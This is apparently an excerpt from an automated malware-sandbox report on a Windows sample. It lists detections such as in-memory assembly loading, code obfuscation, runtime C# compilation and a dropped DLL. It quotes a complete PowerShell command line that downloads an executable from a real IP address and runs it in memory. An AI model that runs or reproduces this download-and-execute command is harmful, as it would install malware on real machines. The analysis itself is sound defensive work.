Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{y31y9rMOAsYT4hVOJhCHf[2],W91Z8WxFS7CNWE7zWXXgw.rr7ByV1uIWB0iuMCJaLrwOaYVqfOtV1A6aGEmEwBQU29y8RMPIj4d(Convert.FromBase64String(y31y9rMOAsYT4hVOJhCHf[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
.NET source code contains potential unpacker
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs .Net Code: _2NUSlX960zjTYi5GfMInd System.AppDomain.Load(byte[])
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs .Net Code: _7UqSVHwWN2zh7yhZYf2ZJ System.AppDomain.Load(byte[])
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs .Net Code: _7UqSVHwWN2zh7yhZYf2ZJ
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs .Net Code: _2NUSlX960zjTYi5GfMInd System.AppDomain.Load(byte[])
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs .Net Code: _7UqSVHwWN2zh7yhZYf2ZJ System.AppDomain.Load(byte[])
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs .Net Code: _7UqSVHwWN2zh7yhZYf2ZJ
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command $client = New-Object System.Net.WebClient; $client.Headers.Add('fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlxIQCB6y', 'VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7d4gYg3aW4'); $data = $client.DownloadData('http://147.45.44.42/boom/rcvjtk.exe'); [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, @())
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command $client = New-Object System.Net.WebClient; $client.Headers.Add('fDsdWpC1Kr1ADlJEQf5TUrSTrY2h2u41sMkrsfhwLwlxIQCB6y', 'VtAoUiLGBN8JuIRrrC1tFjmxppXCaGpKltJpaX9l7d4gYg3aW4'); $data = $client.DownloadData('http://147.45.44.42/boom/rcvjtk.exe'); [System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, @()) Jump to behavior
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.cmdline" Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB111083FE push eax; ret 3_2_00007FFB1110840D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB111082E8 pushad ; ret 3_2_00007FFB111083FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB11108338 pushad ; ret 3_2_00007FFB111083FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB113B403E push cs; ret 3_2_00007FFB113B403F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB113B46C5 push esi; retf 3_2_00007FFB113B4717
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB11517518 push ebx; iretd 3_2_00007FFB1151753A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB1151B039 pushad ; ret 3_2_00007FFB1151B091
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB1176C390 push eax; retf 3_2_00007FFB1176C397
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB118CB91C pushad ; ret 3_2_00007FFB118CB984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB118CB96C pushad ; ret 3_2_00007FFB118CB984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 3_2_00007FFB118C62C0 pushad ; ret 3_2_00007FFB118C62D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 6_2_0274E440 push eax; ret 6_2_0274E441
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, Pn6mEA0X2Drjiff7R2xi4.cs High entropy of concatenated method names: 'u5MGnnpJ3Q4aUNf73wOpo2g78l2U46FeNF69EKc7RyqcHQMmM4vBeZebd4XNp44LzkFmFrWTkGVcObq04OduI', 'hpKGBKuXokRyy8MPCaEMoZmdTEHwqhIgeM1kRKBeoq0WTUPZn4Ftb6tYrf4R3Mq21P33Lky2TEjP3EeyW1zqE', 'OBOfueDrQL08xTU8EhWuoTTXAJrLJ3qypr7ZwUGyEKucKIh9dqT9ijMJnCbge3HSVVgt2VwX9QZIT71d2deet', 'Id2ZjWUfiYTWgH9eRdy94xSRE6dHcrtZMCYfvQqctxUDH371Mkcofd4xjrYQV10oG6JH0FXoP39kGTxyjIyX1'
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, MCcNX6tVHLOeOZBRDi9dO5fqKEQJVmSo66Lal97cE5G22dAAZc9e9.cs High entropy of concatenated method names: '_3AF6Wox0PmABUigfWofFCMqQHAARfnTERicibJVjZziZXSoI3j0XI', '_5liuPOF2Y0lUhTmqZmLPPqH8rBPawwwTO0j870aSS7ooM9PvOR0mP', 'ESLaeCXSpGociXzryphtJw3EYaqEup10IV7kDBPux5zhi6jr7W7x9', 'oBNc4NWZdm9WS', '_8Tj7HSRnP3T0r', 'fSWADnVRJTBQW', 'NkYfseCnZUVL3', 'MQKkAb2ABIRic', 'P2UU4YtInkY6X', '_2TXdn4MP187up'
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, QsGDZkWM3ssLUyEuGCnYjS3jLe1hi2x5jW5.cs High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'jKF6mQG8J8UEfClRdfU3RuJkOwCuC0NAGxX4ivSxcdydQ7taBNDZvTmBbfcBmKWdFVUirbR4skGzVewYVTfqR', 'kPL2y2Lo9Q0qvpy7bZnMkUxLoK8Dv0oDzDuOjBPRYK29lzqWf8YjKiF5zNDX54aAq0e4ymvbvfWqez4H9XPww', 'OtUo5cee3kHU2DPXqqS1x5r3AMXOMd5kWRNwa3txE7bZomX9PKNuqxtDHYun4dKN7ZoJhpYas8veDuy3eIcPf', 'QUViuICkfzyeVy7raQiObEWfRRXK9y03PQlHnaiEuvg6z7TZ6wWJPcqDoxtx6WoYHL1HFRQb5iKUx7MxgNmpb'
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, Kv1Pp3R97E55XX5hc9eUG.cs High entropy of concatenated method names: 'UYmIPmEncd9EKTJiKG3bS', 'nC5yebVj1ycYbE1uxBBzu', 'Drsr43Iy1DsIiTgx1sYhR', 'jeXOCvIcfH9FiMQEahzTDfkGppwzc1InK2hFHGDUDEAvOn1NdlWztVboZchdsFakrKMW7QH', 'KnajYfImqk8OEEx9bu9Hz7g8XOjU1i4TTpwmC5DFPxhsUesZTSUhQikHWQ6jmRN2ILgEPdr', '_8zAO2YhjqOFvMM814bbNYVS0ClT7Ks6soNm0srY7Yeolw2Ct4qy4dwLuxnWtReitAu1JGJZ', 'JoCiQad7weLPqGQFeQcOdrx3aU2cLpAdMBzyv50Gvf7zZFBHpjbkR7FoqSwTIQYzeqewk4B', 'n7iYh1AYDILeFH7PQqLC5d14PB10n77c2dYSrcfxe2irYnJrcI3NvXD8QTmS42ZO6sNq1eW', 'rBF9CYxtqi02vuCPeuxHFqNAvpPKJfH8e77zWniWjEdrj9OcAGjy7p4W4iNza57ZbfG2MHa', 'PBNDBzhIc6n9f8KPJcdReEFOTNpDcM3vZ2JsN4d7yc9dbYPpkfDYIHvdZnIhDTgcbZXGvtC'
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs High entropy of concatenated method names: 'bMPshKWk7HrJzx6F43rer', '_2NUSlX960zjTYi5GfMInd', 'sKMaboXsdRXar0hVAg9yS', 'kordKR1G2GhaUXBmEVaLO', 'VlWT6GgRJhabs3yGBikEF', 'VlZE4Y5Ujy1yn11FslH6w', 'bGeRAmAN1pawDfvUoeMLg', 'wHMYZS4ztpFbHrJXS0W24', 'kXJaHt82E9aNdDCnVxoq7', 'llfDxCNWN5l6ROnnKIDt9'
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, k3OF0YwAGzqXKgFkCjaDk.cs High entropy of concatenated method names: 'XhxtrTQKeeW4Ea1kurXVf', 'PB0YZln4lY2jyvgzvnLVP', 'fHVWTZMvaqqdtjgtXCaVT', 'iA2MI6VafbXC4i2F0h75O', '_4IhBKJZdRwkeupkAHd5fp', 'VTKPYbKMMTZJH44jFyKj1', 'eWuTS0Ths8ZEYlVXU6i7K', 'bWjzywWDUTTnLNc3o3I59', 'aMGaCiMTetCF9srkaVOWe', 'FlCVljWn6jXhiyqVCk5Wn'
Source: 3.2.powershell.exe.2a681788058.4.raw.unpack, W91Z8WxFS7CNWE7zWXXgw.cs High entropy of concatenated method names: 'IPhcMJ6h4tWa9z2ejCufk', 'NC2MUb3knWRlnwruSReoe', 'FNTcglGuFFPoxAzIaztAp', 'XZbNxUqTJAHoTZPGE3dkQ', 'aLotwBDRzmOr6gJuNUI4J', 'c9vKohRIK8V1wqmHA71DB', 'bSrlcpT77K5pAX58ZUrxv', 'ecvvjMANkhhgUUlSKHhy0', '_6Ne3q16dD6QkpRcCjs0ve', 'WIGejyVCjqNXUfNYpRwJ0fN2Uw0x5P7YPKwAfyCcnJglbEAMwXC3L'
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, Pn6mEA0X2Drjiff7R2xi4.cs High entropy of concatenated method names: 'u5MGnnpJ3Q4aUNf73wOpo2g78l2U46FeNF69EKc7RyqcHQMmM4vBeZebd4XNp44LzkFmFrWTkGVcObq04OduI', 'hpKGBKuXokRyy8MPCaEMoZmdTEHwqhIgeM1kRKBeoq0WTUPZn4Ftb6tYrf4R3Mq21P33Lky2TEjP3EeyW1zqE', 'OBOfueDrQL08xTU8EhWuoTTXAJrLJ3qypr7ZwUGyEKucKIh9dqT9ijMJnCbge3HSVVgt2VwX9QZIT71d2deet', 'Id2ZjWUfiYTWgH9eRdy94xSRE6dHcrtZMCYfvQqctxUDH371Mkcofd4xjrYQV10oG6JH0FXoP39kGTxyjIyX1'
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, MCcNX6tVHLOeOZBRDi9dO5fqKEQJVmSo66Lal97cE5G22dAAZc9e9.cs High entropy of concatenated method names: '_3AF6Wox0PmABUigfWofFCMqQHAARfnTERicibJVjZziZXSoI3j0XI', '_5liuPOF2Y0lUhTmqZmLPPqH8rBPawwwTO0j870aSS7ooM9PvOR0mP', 'ESLaeCXSpGociXzryphtJw3EYaqEup10IV7kDBPux5zhi6jr7W7x9', 'oBNc4NWZdm9WS', '_8Tj7HSRnP3T0r', 'fSWADnVRJTBQW', 'NkYfseCnZUVL3', 'MQKkAb2ABIRic', 'P2UU4YtInkY6X', '_2TXdn4MP187up'
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, QsGDZkWM3ssLUyEuGCnYjS3jLe1hi2x5jW5.cs High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'jKF6mQG8J8UEfClRdfU3RuJkOwCuC0NAGxX4ivSxcdydQ7taBNDZvTmBbfcBmKWdFVUirbR4skGzVewYVTfqR', 'kPL2y2Lo9Q0qvpy7bZnMkUxLoK8Dv0oDzDuOjBPRYK29lzqWf8YjKiF5zNDX54aAq0e4ymvbvfWqez4H9XPww', 'OtUo5cee3kHU2DPXqqS1x5r3AMXOMd5kWRNwa3txE7bZomX9PKNuqxtDHYun4dKN7ZoJhpYas8veDuy3eIcPf', 'QUViuICkfzyeVy7raQiObEWfRRXK9y03PQlHnaiEuvg6z7TZ6wWJPcqDoxtx6WoYHL1HFRQb5iKUx7MxgNmpb'
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, Kv1Pp3R97E55XX5hc9eUG.cs High entropy of concatenated method names: 'UYmIPmEncd9EKTJiKG3bS', 'nC5yebVj1ycYbE1uxBBzu', 'Drsr43Iy1DsIiTgx1sYhR', 'jeXOCvIcfH9FiMQEahzTDfkGppwzc1InK2hFHGDUDEAvOn1NdlWztVboZchdsFakrKMW7QH', 'KnajYfImqk8OEEx9bu9Hz7g8XOjU1i4TTpwmC5DFPxhsUesZTSUhQikHWQ6jmRN2ILgEPdr', '_8zAO2YhjqOFvMM814bbNYVS0ClT7Ks6soNm0srY7Yeolw2Ct4qy4dwLuxnWtReitAu1JGJZ', 'JoCiQad7weLPqGQFeQcOdrx3aU2cLpAdMBzyv50Gvf7zZFBHpjbkR7FoqSwTIQYzeqewk4B', 'n7iYh1AYDILeFH7PQqLC5d14PB10n77c2dYSrcfxe2irYnJrcI3NvXD8QTmS42ZO6sNq1eW', 'rBF9CYxtqi02vuCPeuxHFqNAvpPKJfH8e77zWniWjEdrj9OcAGjy7p4W4iNza57ZbfG2MHa', 'PBNDBzhIc6n9f8KPJcdReEFOTNpDcM3vZ2JsN4d7yc9dbYPpkfDYIHvdZnIhDTgcbZXGvtC'
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, 7e5xGD4pCVC7zbxMEdhVX.cs High entropy of concatenated method names: 'bMPshKWk7HrJzx6F43rer', '_2NUSlX960zjTYi5GfMInd', 'sKMaboXsdRXar0hVAg9yS', 'kordKR1G2GhaUXBmEVaLO', 'VlWT6GgRJhabs3yGBikEF', 'VlZE4Y5Ujy1yn11FslH6w', 'bGeRAmAN1pawDfvUoeMLg', 'wHMYZS4ztpFbHrJXS0W24', 'kXJaHt82E9aNdDCnVxoq7', 'llfDxCNWN5l6ROnnKIDt9'
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, k3OF0YwAGzqXKgFkCjaDk.cs High entropy of concatenated method names: 'XhxtrTQKeeW4Ea1kurXVf', 'PB0YZln4lY2jyvgzvnLVP', 'fHVWTZMvaqqdtjgtXCaVT', 'iA2MI6VafbXC4i2F0h75O', '_4IhBKJZdRwkeupkAHd5fp', 'VTKPYbKMMTZJH44jFyKj1', 'eWuTS0Ths8ZEYlVXU6i7K', 'bWjzywWDUTTnLNc3o3I59', 'aMGaCiMTetCF9srkaVOWe', 'FlCVljWn6jXhiyqVCk5Wn'
Source: 3.2.powershell.exe.2a6817a1948.5.raw.unpack, W91Z8WxFS7CNWE7zWXXgw.cs High entropy of concatenated method names: 'IPhcMJ6h4tWa9z2ejCufk', 'NC2MUb3knWRlnwruSReoe', 'FNTcglGuFFPoxAzIaztAp', 'XZbNxUqTJAHoTZPGE3dkQ', 'aLotwBDRzmOr6gJuNUI4J', 'c9vKohRIK8V1wqmHA71DB', 'bSrlcpT77K5pAX58ZUrxv', 'ecvvjMANkhhgUUlSKHhy0', '_6Ne3q16dD6QkpRcCjs0ve', 'WIGejyVCjqNXUfNYpRwJ0fN2Uw0x5P7YPKwAfyCcnJglbEAMwXC3L'
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\zxf44tui\zxf44tui.dll Jump to dropped file
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
